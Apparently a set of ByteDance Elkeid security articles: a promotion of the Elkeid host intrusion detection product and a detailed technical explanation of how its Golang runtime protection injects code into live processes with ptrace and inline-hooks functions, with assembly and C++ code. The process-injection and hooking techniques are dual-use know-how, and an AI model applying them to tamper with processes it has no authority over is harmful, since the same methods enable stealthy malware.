Elkeid 经过2年以上超百万台的多场景装机验证，客户端Agent平均占用CPU使用小于0.5%单核，平均内存占用小于100MB，可以满足计算、存储、网络分发等多业务场景下严格的性能与稳定性要求。

在我们的内部压力测试中，Elkeid 展现出了卓越的性能表现，在众多产品横向对比中具有最好的性能和最小的资源占用。

注1: 图上数字越小性能越好，资源占用越小

注2: 压力测试方式为：

120tps的创建文件，文件写入1字节，删除文件；

120tps的进程创建，进程退出；

120tps的网路连接创建，发送数据，连接关闭。

使用者具有完整的 Elkeid 数据权限，用户可以对Elkeid所采集的丰富数据进行进一步的数据挖掘、审计，亦或是进行事件的处理与编排。

对于 Elkeid Agent 上报的原始数据，可以便捷的导入到自己的分析平台中进行保存或分析，也可以通过 Elkeid HUB 进行自定义策略编写，比如：

• 特殊场景下的自定义策略；

• 接入内部威胁情报API实现对 Elkeid 采集到的 DNS/MD5 等信息进行威胁情报比对，并将结果推送到 Elkeid 告警中进行查看，或推送到内部SOC平台；

• 接入内部资产数据库（CMDB）追加告警相关资产所属业务信息，并支持在 Elkeid Console 告警中查看追加信息；

• 亦可以通过 Elkeid HUB 进行事件处置等工作，如自动化将告警涉及到的恶意IP推送到 WAF 进行封禁等工作。

  
  

总之，使用者可以完整自由的使用 Elkeid 产生的全部数据，结合自身场景挖掘数据潜力。可以咨询Elkeid Team 获取更多安全场景的最佳实践。

• Elkeid RASP

Elkeid 会在后续版本中集成 Elkeid RASP，可以实现 Application Runtime 层面更精准的检测与防御，弥补 Elkeid HIDS 目前仅能采集到操作系统层行为的短板；并且原生支持 RASP 告警关联主机层原始数据，从而更好的实现对服务端的防御。该功能预计v1.8.0发布，补齐下图中的最后一块缺失：

• Elkeid 云原生安全能力

随着云原生的发展，k8s 这个新形态的操作系统也越发普及。Elkeid Team 在云原生安全方面也有深厚的积累，我们会首先实现 Kubernetes Auditing 入侵&威胁检测，基线巡检，应用巡检这部分功能，并且原生与Elkeid其他数据/功能打通，实现更全面的防御。该功能预计v1.9.0发布。

Elkeid 是一个正在快速迭代、创新与突破的产品，在可预见的未来，溯源（威胁猎捕）、恶意文件识别与事件处理等关键领域都会有重要更新。

Elkeid 依然会保持端上与接入层的全部功能持续开源。

Elkeid 产品化工作从开始研发到v1.7.1版本上线用了7个月时间，产品整体还在快速迭代中。我们希望将我们理解的安全能力赋予在 Elkeid 产品上，给业界带来不一样的思考与创新；希望以技术为核心，解决实际问题为最高优先级，打造符合高强度对抗情况下的安全产品，从而真实帮助到安全工程师与企业。

另一方面：联动与多维度关联，行为分析等是我们一直关注的方向，从Linux Kernel Space 到 User Space，再到Application Runtime 与 Kubernetes。一次入侵可能跨越多个维度，入侵检测也同样不应该拘泥于某个维度，而是应该尝试通过完整的生命周期进行分析/理解/发现/响应。

elkeid@bytedance.com

Elkeid 社区版：https://github.com/bytedance/Elkeid

Elkeid HUB 社区版：https://github.com/bytedance/Elkeid-HUB

Elkeid 社区交流群（飞书群）：

最后，由衷的感谢内外部的各位朋友，同事以及早期试用的伙伴们，没有你们的协助、建议与包容，或许 Elkeid 企业版还要走很多弯路才能与大家见面。

阅读原文

跳转微信打开

介绍 Elkeid-RASP 的 Golang hook 如何实现。

目前 Elkeid RASP 开源了 JVM、Python、NodeJS 以及 Golang 四种语言的运行时保护功能，四种语言均支持对已存在的进程动态注入防护代码。

代码仓库：https://github.com/bytedance/Elkeid

本文介绍 Golang 部分的设计思路、原理与实现。

简介

在以往的 RASP 解决方案中，部署方式通常需要业务参与，修改相关配置或是启动参数，这也就造成了 RASP 部署困难的窘境。更有甚者，由于 Golang 编译型语言的特性，多数 RASP 只能被迫选择在编译期集成进去，以降低技术实现成本，但这无疑又间接加大了部署推广的难度。

我们始终认为限制 RASP 发展与推广的是部署，而并非是技术难度，许多厂商在各语言的技术实现上都有大同小异的成熟方案。例如使用 JVM 的 Instrumentation 功能动态修改 bytecode，可以在虚拟机功能的基础上实现稳定的运行时防护。

所以在 Elkeid RASP 的项目初期，团队就敲定了动态注入的部署方式，一切都朝着降低部署难度的目标靠拢。

原理

目前 Elkeid RASP 开源了 JVM、Python、NodeJS 以及 Golang 四种语言的运行时保护功能，四种语言均支持对已存在的进程动态注入防护代码。

其中JVM、Node依赖于虚拟机提供的机制，运行稳定，而 Python 与 Golang 则需要利用 ptrace 在进程层面上做注入。

进程注入

为了实现对 Python 以及 Golang 进程的动态防护，先不考虑运行时层面的代码篡改，我们至少需要一个能够在 Linux 任意进程空间内执行任意代码的工具。但是很可惜，Linux 没有类似于 CreateRemoteThread 的接口。

大多数的代码注入，都是使用 ptrace 篡改进程执行流程，调用 dlopen 加载动态库。而且大多数项目都会指出，该方式的不稳定性可能会导致进程永久卡住。因为 dlopen 底层会调用 malloc，而在 glibc 的官方文档中指明了 malloc 是不可重入函数。

在研究过程中，我发现了 mandibule 这个项目(https://github.com/ixty/mandibule)，它另辟蹊径地编写了一个 ELF Loader，再使用 ptrace 让该 ELF Loader 在目标进程内执行，加载一个全新的程序，执行完成后恢复主线程的寄存器。

由于作者已经放弃维护，而且我自己在使用过程中，发现了项目一些设计上的缺陷以及代码 bug。于是我借鉴了该思路，开发了 pangolin 这个工具(https://github.com/Hackerl/pangolin)，它可以在任意进程内临时运行另一个程序，细节可以看相关的 blog(https://hackerl.github.io/2021/02/11/Linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/)。

Inline Hook

借助 pangolin，我们可以在一个 Golang 的进程中执行任意代码，我们甚至可以篡改可执行段的机器码，很轻松地便可以对某个函数进行 Inline Hook。例如我们想对 Golang 的命令执行函数 exec.Command 进行 Inline Hook，那么可以在进程注入期间修改函数 os/exec.Command 的开头指令，使其执行时先跳转到我们编写的函数中。在我们自定义的函数中，便可以获取该函数调用时的入参以及调用栈，再通过某种通信方式传输出去，一个简单的 RASP 模型便完成了。
那么要完成该流程，我们需要一些先决条件：

• 在去除掉 ELF 符号信息的情况下，如何获取 Golang 的符号信息，以确定函数的地址，完成对函数的 Inline Hook 操作。

• Golang 如何进行函数调用，通过寄存器亦或是栈，我们又该如何读取函数的入参。

• 如何获取 Golang 当前函数的 Stack Frame 长度，用于定位上一层函数的返回地址，完成调用栈回溯。

Golang Runtime Symbol Information

在去除了 ELF 符号信息后，一个编译好的 Golang 程序还是可以正确地执行 debug.PrintStack 函数，那么便可以证明 Golang 内部必然还存在一个符号表。根据官方文档 Go 1.2 Runtime Symbol Information 的介绍(https://docs.google.com/document/d/1lyPIbmsYbXnpNj57a261hgOYVpNRcgydurVQIyZOz_o/pub)，Golang 从 1.2 之后的版本内置了符号信息，对于 ELF 格式来说，通常放置在 .gopclntab 这个 section。

这些符号信息不仅包含了函数名称、函数地址范围以及函数栈帧长度信息，甚至还有相关的代码文件名，以及行号等源码信息。根据文档记录的信息格式，我们可以很轻松地解析出一个 Golang 二进制程序的符号表。

Golang build info

对于 Golang 1.13 以上编译出的二进制，可以使用 go version 命令查看编译时的 Golang 版本，由此说明二进制中内嵌了相关的编译信息。对于 ELF 格式来说，编译信息存放在 .go.buildinfo section，其中包含 Golang 版本号以及三方依赖库列表。值得注意的是，buildinfo 的格式在 Golang 1.18 版本发生了改变，弃用了数据指针，相关解析代码可查看官方仓库。

Golang internal ABI

接下来我们需要了解 Golang 编译出的机器码，是如何进行函数调用的，以及 Golang 的结构体在内存中是如何存放的，了解这些之后我们才能正确地取出函数入参。

memory layout

Golang 包含的内置类型描述，可以在官方文档 The Go Programming Language Specification 中找到(https://go.dev/ref/spec#Types)。对于数值类型，Golang 规范了类型的内存占用大小(https://go.dev/ref/spec#Size_and_alignment_guarantees)，而字节对齐则随 CPU 架构不同而变化。对于复合类型，例如 string、slice 以及 map 等，内存占用大小由组成的基础类型及其字节对齐决定，而该复合类型的字节对齐由组成类型中最大的字节对齐决定。

文档中并未描述 string 等内置类型的底层内存排布，但是我们可以从一些文章(https://go101.org/article/string.html)，亦或是 CGO 生成的头文件中一窥究竟。

以下是我使用 cpp 对 x64 架构下 Golang 类型的描述，代码可以在 Elkeid 官方仓库中找到：

https://github.com/bytedance/Elkeid/blob/main/rasp/golang/go/type/basic.h

namespace go {    typedef signed char Int8;    typedef unsigned char Uint8;    typedef short Int16;    typedef unsigned short Uint16;    typedef int Int32;    typedef unsigned int Uint32;    typedef long long Int64;    typedef unsigned long long Uint64;    typedef Int64 Int;    typedef Uint64 Uint;    typedef __SIZE_TYPE__ Uintptr;    typedef float Float32;    typedef double Float64;    typedef float _Complex Complex64;    typedef double _Complex Complex128;
    struct interface {        void *t;        void *v;    };
    struct string {        const char *data;        ptrdiff_t length;    };
    template<typename T>    struct slice {        T *values;        Int count;        Int capacity;    };}

可以看到 string 类型由两个字段组成，数据指针加上字符串长度，在内存中总共占用 16 字节。string 的内存对齐则由这两个字段决定，即 align(string) = max(align(const char *), align(ptrdiff_t))。
对于 int32 这些 Golang 的基础数值类型来说，其字节对齐与 cpp 默认的对齐一致。

但是 Golang 并不确保这些类型的字节对齐不变，官方似乎正在考虑改变 x86 上 int64 的字节对齐。现在我们已经了解了 Golang 类型的内存排布，那么对于任意入参的函数调用，我们都能准确的从内存中取出数据。现在剩下的问题便是函数调用发生时，参数将会存放在何处？

stack-based calling conventions

Golang 在 1.17 版本之前的函数调用中，参数与结果均存放在栈上。但由于栈上频繁的内存操作影响了运行性能，所以社区草拟了基于寄存器的调用约定方案(https://go.googlesource.com/proposal/+/master/design/40724-register-calling.md)，并在 1.17 版本后切换到该调用约定。

我们先了解 Golang 最原始的 ABI0，也就是基于栈的调用约定，细节描述可以从文档 A Quick Guide to Go’s Assembler 找到(https://go.dev/doc/asm)。在函数调用发生时，调用者需要将参数以及返回值，从低地址向高地址依次排列在栈顶。
例如在调用函数 func A(a int32, b string) (int32, error) 时，我们需要按下列排布存放参数与返回值：

+------------------------------+| 2nd result error.v           || 2nd result error.t           || 1st result int32             || <pointer-sized alignment>    || b string.length              || b string.data                || a int32                      |+------------------------------+ ↓ stack pointer

先放入 4 字节的参数 a，接着放入 string 类型的参数 b。由于 string 类型的字节对齐是 8，而此时的地址为 sp + 4，所以需要填充 4 字节的空白区域，从 sp + 8 开始放置 string 的数据。参数存放完成后，如果此时的地址没有按指针大小对齐，则需要填充空白字节。例如在 amd64 架构上，最后一个 int32 的参数放置于地址 0x40000，占用 4 字节大小，那么我们需要再填充 4 字节空白数据，使得返回值存放地址为 0x40008，按当前架构的指针大小 8 对齐。

我们接着放入第一个 int32 的返回值，而第二个返回值类型为 error，实际上就是 interface 类型。由上一小结可知，interface 类型占用 16 字节，按 8 字节对齐，所以我们填充 4 字节后，放入 error 结构体。当然，对于返回值而言，我们并不会真正地写入数据，而是预留内存空间以供被调用者写入。

register-based calling conventions

对于基于寄存器的调用约定，调用者需要先尝试将参数放置于寄存器中。如果结构体太大，或是结构体中包含 Non-trivial arrays 类型成员导致无法存放，则会转而放置于栈上。对于 amd64 架构，Golang 使用X0 – X14 寄存器存放浮点数数据，而对于整数数值，则使用以下 9 个整数寄存器存放：

RAX, RBX, RCX, RDI, RSI, R8, R9, R10, R11

对于数值类型参数，我们可以直接将参数一一对应到寄存器中。而对于结构体类型，我们需要将结构体拆解成多个基础数值类型，然后进行对应放置。如果一个结构体拆解后，需要占用的寄存器数超过了剩余的寄存器数，则该整个结构体都只能放置于栈上。

该部分细节繁杂，本文不作赘述，细节请看文档 Go internal ABI specification。

(https://go.googlesource.com/go/+/refs/heads/dev.regabi/src/cmd/compile/internal-abi.md)

实现

Runtime conflict

有了上述理论支持后，我们现在可以着手编写钩子函数了。在钩子函数执行过程中，不能随意篡改堆栈上的数据，执行完成后需要恢复所有寄存器，并跳转到原函数继续执行。需要注意的是，我们必须时刻记住，执行钩子函数的是 Golang 的线程，那么就存在以下两个问题：

• Golang 为线程分配的栈空间很小，钩子函数如果使用过度会导致 Segmentation fault。

• 在 Golang 的线程中执行时，我们无法正常调用 glibc 函数，例如 malloc 依赖于 fs 寄存器指向的 TLS 结构，以保证线程安全，但 fs 在 1.17 版本以下的 Golang 线程中指向全局 G。

为了解决第一个问题，我们需要在钩子函数的入口处，申请一块足够大的内存替换当前栈。而对于第二点，我们只能使用freestanding 代码及 syscall 来完成参数读取与栈回溯操作。

为了更好地解耦与复用，于是我开发了一个不依赖于 glibc 的小型 c-runtime(https://github.com/Hackerl/c-runtime)，包含内联汇编编写的 syscall 以及必要的标准库函数。我们可以安全地在 Golang 线程中调用 c-runtime 中的任何函数，例如使用底层是无锁环形缓冲区和 mmap syscall 的 z_malloc 来分配堆空间。

钩子函数

下面是使用内联汇编编写的钩子函数 wrapper，可以通用地进行栈替换、寄存器备份以及函数跳转：

asm volatile(    "mov $1, %%r12;"    "mov %%rsp, %%r13;"    "add $8, %%r13;"    "and $15, %%r13;"    "sub $16, %%rsp;"    "movdqu %%xmm14, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm13, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm12, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm11, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm10, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm9, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm8, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm7, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm6, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm5, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm4, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm3, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm2, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm1, (%%rsp);"    "sub $16, %%rsp;"    "movdqu %%xmm0, (%%rsp);"    "push %%r11;"    "push %%r10;"    "push %%r9;"    "push %%r8;"    "push %%rsi;"    "push %%rdi;"    "push %%rcx;"    "push %%rbx;"    "push %%rax;"    "sub %%r13, %%rsp;"    "mov %0, %%rdi;"    "call z_malloc;"    "cmp $0, %%rax;"    "je end_%=;"    "mov %%rsp, %%rdi;"    "mov %%rax, %%rsp;"    "add %0, %%rsp;"    "push %%rax;"    "push %%rdi;"    "add $312, %%rdi;"    "add %%r13, %%rdi;"    "call %P1;"    "mov %%rax, %%r12;"    "pop %%rsi;"    "pop %%rdi;"    "mov %%rsi, %%rsp;"    "call z_free;"    "end_%=:"    "add %%r13, %%rsp;"    "pop %%rax;"    "pop %%rbx;"    "pop %%rcx;"    "pop %%rdi;"    "pop %%rsi;"    "pop %%r8;"    "pop %%r9;"    "pop %%r10;"    "pop %%r11;"    "movdqu (%%rsp), %%xmm0;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm1;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm2;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm3;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm4;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm5;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm6;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm7;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm8;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm9;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm10;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm11;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm12;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm13;"    "add $16, %%rsp;"    "movdqu (%%rsp), %%xmm14;"    "add $16, %%rsp;"    "cmp $0, %%r12;"    "je block_%=;"    "jmp *%2;"    "block_%=:"    "ret;"    ::    "i"(STACK_SIZE),    "i"(handler),    "m"(origin));

r12和r13 寄存器是 Golang 中可以随意使用的临时寄存器，我们用 r12 来标识是否要阻断当前调用。而r13 用来参与计算，以确保调用 handler 时栈指针按 16 字节对齐，这是 amd64 下 gcc 的默认约定。

在代码的开头，我们先将 X0 - X14 浮点数寄存器推入栈中，接着推入 Golang 1.17 以上需要使用的整数寄存器。然后调用 z_malloc 申请 40K 的内存替换当前栈，再以原始栈指针为参数调用 handler。

在 handler 函数中，根据 Golang 的版本不同，我们可以从栈上存储的寄存器中，或上一函数的 Stack frame 中读出入参。当然也可以根据原始栈指针读取返回地址，从 Golang 符号表中查找函数信息，然后根据 Stack frame 读出上一层的返回地址，循环往复完成栈回溯。

我们甚至可以在 handler 中判断参数是否合法，当参数匹配到我们设置的正则时，可以手动写入 error 返回值到栈上，并返回 false 以将 r12 寄存器置零完成阻断。在 handler 函数执行完成后，从栈上恢复寄存器，并根据 r12 决定返回还是跳转至原函数。

为了更好地进行参数读取和阻断，我是使用Templates 编写了一套 Golang 类型反射库，可以在运行时获取 Golang 类型元数据。元数据包含类型的基础类型成员数，每个成员的相对偏移以及占用大小，还有该类型需要占用的浮点/整数寄存器数。

在 handler 函数中，我们可以轻松地利用这些元数据分析 Golang 的参数内存布局，正确地取出数据。由于该部分代码细节繁多，限于本文篇幅所以不进行详细讲解，取参与回溯部分请直接阅读仓库代码。

https://github.com/bytedance/Elkeid/tree/main/rasp/golang/go/api

回溯停止

对于调用栈的回溯，上面已经解析过了，我们可以取出当前栈顶的返回地址，在符号表中查找地址相关的函数的名称、文件、行号以及栈帧大小。获取栈帧大小后，取出 sp + framesize 的上一层返回地址，循环上述步骤即可。但有一个问题是，我们在哪里结束循环？调用链的层数一定有限，那么第一个函数是哪个？
在 1.2 版本中，Golang 通过判断函数名是否为 runtime.goexit、runtime.rt0_go 等入口函数，由此决定是否终止回溯。而对于较新版本的 Golang ，符号信息中增加了一个 funcID 字段，通过 funcID 判断函数类型是否为入口函数。但 funcID 的本质与函数名比较无二，而且 funcID 在版本之间会发生变动，所以最后决定简单地使用函数名判断：

constexpr auto STACK_TOP_FUNCTION = {        "runtime.mstart",        "runtime.rt0_go",        "runtime.mcall",        "runtime.morestack",        "runtime.lessstack",        "runtime.asmcgocall",        "runtime.externalthreadhandler",        "runtime.goexit"};

消息通信

成功获取入参和调用栈后，要如何把消息传输出去？如果需要进行 socket 通信，并且不阻塞 Golang 线程，那就需要驻留一个线程在 Golang 进程内，实现一个简单的生产者消费者模型。那么在无法使用 std::queue 等标准库的情况下，要怎么实现消费丢列，又该如何保证线程安全？

为了尽可能地减少性能影响，我利用 gcc 内置的原子操作实现了一个定长的无锁环形缓冲区(https://github.com/Hackerl/zero/blob/master/include/zero/atomic/circular_buffer.h)，并使用 c-runtime 中实现的 condition variable 做线程同步，实现了一个高效的消息队列。在每个钩子函数触发时，都会将入参和调用栈打包放入队列，如果队列已满则丢弃该消息。

在 pangolin 注入过程中，我们启动一个消费者线程(https://github.com/bytedance/Elkeid/blob/main/rasp/golang/client/smith_probe.cpp#L40)，从消息队列中消费函数调用信息，序列化为 json 后通过 unix socket 传输到 server。

信号屏蔽

Golang 启动时会设置信号处理函数，而在进程收到信号时，内核会随机选择一个线程进行信号处理。我们在 Golang 进程中驻留的几个 cpp 线程有可能被选中用于执行处信号处理函数，但是处理函数默认当前处于 Golang 线程中，读取 fs 寄存器以访问 Golang 的全局 G，但此时 fs 所指向的其实是 glibc 的 TLS，于是导致异常退出。

为了避免这种情况发生，我们需要手动设置驻留的 cpp 线程，令其屏蔽所有信号：

sigset_t mask = {}; sigset_t origin_mask = {};
sigfillset(&mask);
if (pthread_sigmask(SIG_SETMASK, &mask, &origin_mask) != 0) {    LOG_ERROR("set signal mask failed");    quit(-1);}

流程

在学习了原理和实现细节后，我们来解析一下 go-probe 的执行流程，入口函数如下：

#include "go/symbol/build_info.h"#include "go/symbol/line_table.h"#include "go/symbol/interface_table.h"#include "go/api/api.h"#include <zero/log.h>#include <csignal>#include <asm/api_hook.h>#include <z_syscall.h>
void quit(int status) {    uintptr_t address = 0;    char *env = getenv("QUIT");
    if (!env) {        LOG_WARNING("can't found quit env variable");        z_exit_group(-1);    }
    if (!zero::strings::toNumber(env, address, 16) || !address) {        LOG_ERROR("invalid quit function address");        z_exit_group(-1);    }
    ((decltype(quit) *)address)(status);}
int main() {    INIT_FILE_LOG(zero::INFO, "go-probe");
    sigset_t mask = {};    sigset_t origin_mask = {};
    sigfillset(&mask);
    if (pthread_sigmask(SIG_SETMASK, &mask, &origin_mask) != 0) {        LOG_ERROR("set signal mask failed");        quit(-1);    }
    if (!gLineTable->load()) {        LOG_ERROR("line table load failed");        quit(-1);    }
    if (gBuildInfo->load()) {        LOG_INFO("go version: %s", gBuildInfo->mVersion.c_str());
        CInterfaceTable table = {};
        if (!table.load()) {            LOG_ERROR("interface table load failed");            quit(-1);        }
        table.findByFuncName("errors.(*errorString).Error", (go::interface_item **)CAPIBase::errorInterface());    }
    gSmithProbe->start();
    for (const auto &api : GOLANG_API) {        for (unsigned int i = 0; i < gLineTable->mFuncNum; i++) {            CFunc func = {};
            if (!gLineTable->getFunc(i, func))                break;
            const char *name = func.getName();            void *entry = (void *)func.getEntry();
            if ((api.ignoreCase ? strcasecmp(api.name, name) : strcmp(api.name, name)) == 0) {                LOG_INFO("hook %s: %p", name, entry);
                if (hookAPI(entry, (void *)api.metadata.entry, api.metadata.origin) < 0) {                    LOG_WARNING("hook %s failed", name);                    break;                }
                break;            }        }    }
    pthread_sigmask(SIG_SETMASK, &origin_mask, nullptr);    quit(0);
    return 0;}

需要明确的是，go-probe 由 pangolin 注入到 Golang 进程的主线程中临时运行。同时 pangolin 使用 ptrace 持续监听该线程的 syscall 调用，拦截到 main 函数发出的 exit 或 exit_group 调用后，恢复线程状态并结束注入流程。然而可以看到，上面的代码中会优先调用环境变量 QUIT 指向的函数，这又是为何？

在实际的部署过程中，由于资源限制等诸多特殊原因，pangolin 进程可能会在注入期间被 kill。那么此时 main 函数执行的 syscall 就无人拦截，exit_group 会真正地导致业务进程退出。为了让执行 go-probe 的线程能够自我恢复，pangolin 会提前将线程状态快照写入到 Golang 内存中。同时遗留在 Golang 进程中的 shellcode 包含一个 quit 函数(https://github.com/Hackerl/pangolin/blob/master/shellcode/loader/quit.c#L18)，能够根据该快照主动恢复线程，类似于 glibc 的 setcontext，而 QUIT 环境变量正是 quit 的地址。

在初始化文件日志后，先令当前线程屏蔽所有信号，之后启动的所有子线程都会继承该设置。然后从 ELF 的 section 中加载符号表、编译信息以及 interface 表，并且为了支持阻断功能，查找 errors.(*errorString) 的地址并保存。执行 gSmithProbe->start() 启动通信客户端后，从符号表中查找 GOLANG_API 所有子项，并进行 Inline Hook。完成以上流程后，恢复信号掩码并调用 quit 函数以通知 pangolin 结束注入。

阅读原文

跳转微信打开

Elkeid 1.7 更新说明

阅读原文

跳转微信打开